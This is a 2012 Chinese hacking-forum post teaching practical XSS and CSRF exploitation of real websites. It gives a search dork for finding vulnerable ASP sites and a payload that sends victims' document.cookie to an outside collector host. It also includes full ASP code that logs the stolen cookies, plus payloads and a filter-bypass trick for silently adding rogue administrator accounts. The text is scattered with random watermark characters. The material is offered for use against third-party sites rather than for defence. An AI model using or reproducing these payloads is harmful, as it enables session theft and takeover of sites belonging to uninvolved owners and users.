找回密码
 立即注册
查看: 2751|回复: 0
打印 上一主题 下一主题

实战xss漏洞利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:08:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为: 2 j- f6 g# u3 \6 l6 h7 z, a! [

: o% v0 E$ u) q& A3 P4 R3 [+ @  t9 Jhttp://tieba.baidu.com/f?kz=10690072394 ~3 q! l' K1 H  A4 i0 t- P
. B( S7 N2 C% ~! w8 C
这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
5 R$ b1 @3 i/ y7 Q( ~/ b  k& m: O9 ]
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
, P% B' b& r2 e
1 R1 E) a& }6 k. i2 W  o. [, |我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。) o5 Y3 i& o" k5 ?& `5 U6 i

7 x4 u6 A5 B# Q2 c7 n; |9 x# \这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。5 E  z1 Q1 f/ S' H0 s6 D5 d
9 O2 I: V3 w  H: S7 d
好了,废话不多说了,一起来看文章吧。' q3 u' ~( J" c% q, U
% |' q5 M& o4 Q& _
-------------------------------------------------------------------
, h9 z: G4 n; h' b+ n3 Q. w
4 U0 d' d+ s' M/ k首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。& ~$ o9 o: t$ R4 ~$ Y/ A0 T) I

9 n3 E; ^. V0 M, } : S( ^: c' S+ n, |$ H; f

! U3 @. w+ d, ^5 r3 K. x3 Y再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:/ h1 F. ]* b3 Y
) k% t; i% c% [+ O) U
. v- ^: Q1 C8 U" M9 F$ Z( Z

# A8 v) |3 A: @6 q0 n0 s# g这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是' \' F) n7 [" f: \0 e
1:让目标访问已跨站的网址,然后这个网址执行脚本
  t- q& i( Z) z" _6 v. a2:然后跳转到你已经写好专门用来收集Cookie的网址+ i, u" `+ P" [+ G

9 c3 o( C) U/ ]& i6 r2 D具体实现方法:- T8 d2 |# M% d0 v
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>: h$ C( S$ }1 Z0 n- {1 |, Q! b- Q- `+ e
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。
  y6 r3 X0 @. V. I6 E
; x0 B: n. n5 m' p这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:+ ^6 h; [2 u0 R# k" f
2 k+ ]! k' C% V( L7 k
<html>3 @" f4 v; g, J' ?9 [9 c
<title>xx</title>
) r) w! u6 }* \" n5 ~$ N<body>
- `+ l/ ~4 U" D; O3 E5 G<%
3 A4 w2 x+ @6 |! S7 h9 T  ]& Ytestfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中, c& V3 Z& I( E# Q# c
msg = Request("msg")   //获取提交过来的msg变量,也就是cookie值2 M# G5 H4 l1 d; I
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象( C9 h- f. T. t, U
set thisfile = fs.OpenTextFile(testfile,8,True,0)
3 S6 j# `  u' Y3 x" Bthisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
1 w, ^: f. _& y+ Q" \$ y% Kthisfile.close   //关闭
& x& G- m* ?7 O, P2 X8 cset fs = nothing
. N2 O! Y$ I% b( x# F9 X%>
; S7 f0 c4 ^$ ~, T% R. w</body>4 w) r, o0 F( B; n. z3 C
</html>) K# S! P% n# Z5 b1 O$ K; M

# o" h7 x; d7 e: U' i; E  o' [+ u然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:# y9 k: b7 S0 e, M) x

- ~, O% \1 G- G/ M( v6 h' } / n% y+ }+ o' u- ?
3 N" v, b0 M* a$ ?$ A  ~4 Y& W% P4 e
: g- x! K3 [$ |7 d0 N2 q. t
拿出来看看,呵呵,Cookie到手:
! g, `7 r: k1 R( \  C# |8 s$ [5 r+ a4 j& L5 [- y& s
- c! ~0 p4 Q, z; k/ D6 d5 b
1 y& g& W! h' d/ Y
本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~( u7 `* {# F5 R9 L, \& P: C7 p, j4 j

0 T0 v1 r$ H8 x" P$ F( y! r; LPS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。) S1 w1 B+ S+ {% @! f- j) C! s. l
: N2 S* b; y0 K* {4 Q. F' a  B& ]
-------------------------------------------------------------------9 c. i$ c0 y, D! i% A/ @
8 O6 p  ?7 ]$ m, @6 r  o1 u
下面是我对这个帖子的回复,也一起贴过来吧:
3 ]1 y4 q, _9 v9 V2 Y$ i* x4 E7 o8 f% P0 N9 Q) U8 Z
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。2 [, F! t/ S* O

) L; R, ?3 W" W& p3 r) B0 }但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
0 c2 G0 B( J: g' g3 b) b# `再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
% X/ I$ z& f# w" h6 x; _# d  p# F1 @9 j: S& Y9 |0 Z; U7 }0 R
在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
' x3 i' i" M: n* h8 o/ C# G( G, D0 Z+ u& E. P. D: u- M5 h
http://user.qzone.qq.com/673116767/blog/1252452536
, A9 y0 Q$ M" Q( x0 q& M6 T' d1 o- c3 @) x7 ^5 l0 U$ c  W' T
一般发现一个xss漏洞后要做的基本上就是这些:' ^8 y& Q, w' n0 ]

/ K" j9 \+ ^% d/ }1.  伪造请求  使用$_REQUEST或$_GET
. n1 a8 X, U% ^. ^) g5 s# W/ n  e9 W
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:: s/ J& M+ L7 p* ~! t- Y
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
6 X/ @' E, _% P2 S/ X  T当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。
7 e& s; o) u' i9 ?# }& n4 M" }" T2 ~2 z* ?6 t  o7 H
如果是可视文本编辑器,可以尝试使用输入:
6 {& w3 t- E" O' {http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
% K; P8 v& F; V2 S- Q这样最终会构造出:2 x/ P( @- P: P" Y$ X. R3 z
<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
1 [  }2 J+ s/ K0 i总之要举一反三。: r+ c# R9 W2 [$ S3 E0 y" K; a: \/ c3 N

7 e' O8 _8 j6 ~9 ^1 q2. 伪造请求  使用$_POST
6 i, `# P, F6 l+ Y$ C. B3 s" z+ S; s8 B5 k+ K8 _: h
当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:9 x6 A1 H4 \1 ~. f
<sc/*xss*/ript type="text/javascript">  i: h; Z! x; T" C  o! E
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");+ Z; y+ }( ], F  T8 g3 n
aj.open("POST", "/admin/admin_add.asp", false);! G0 ]9 e# U) U4 W. G
var postdata = 'name=xxx&psd=yyy';
1 ]& ^0 n2 A3 Yaj.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); " z) ]# ]" K# f' m6 u. y! x. t: t
aj.send(postdata);2 C2 ~- H9 ]* V- V. T4 ?7 V
</scr/*xss*/ipt>3 w. E' B9 D5 n8 ^; K( ^2 q
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。( G6 [  c- M3 \' [' K

. P' j$ Q* Q% o, h/ F' Z& p" X3. 跨站伪造请求 使用$_GET 或 $_REQUEST
1 i+ L; W5 }! `7 ~0 ^3 [) N9 M: |: x+ k% o3 k
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
! }" Y3 f/ ]8 I4 v9 @3 H) J<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>
1 T4 ^% K' h8 Z' F然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
& e9 v, ~$ U) Y" Q! E7 k# v) d* l3 c0 v2 y5 H! N
4.跨站伪造请求 使用$_POST(0day)
$ V# x' o2 k5 Q9 r' z5 {; e9 F1 T3 R
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
, A/ n  G6 E' d$ z7 P3 {" F
0 [4 e2 w: E; ?7 p0 |但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
8 ~' ]# D5 c/ `" t/ ]& t% u* ~# w- _
总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。/ W/ d& C) i$ l% ^9 `7 p: e
* B3 u/ `! S& x3 \! W, M5 g
OK,该说的都说完了,Over。
1 n7 a9 V' Q$ k# h4 S% W1 r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表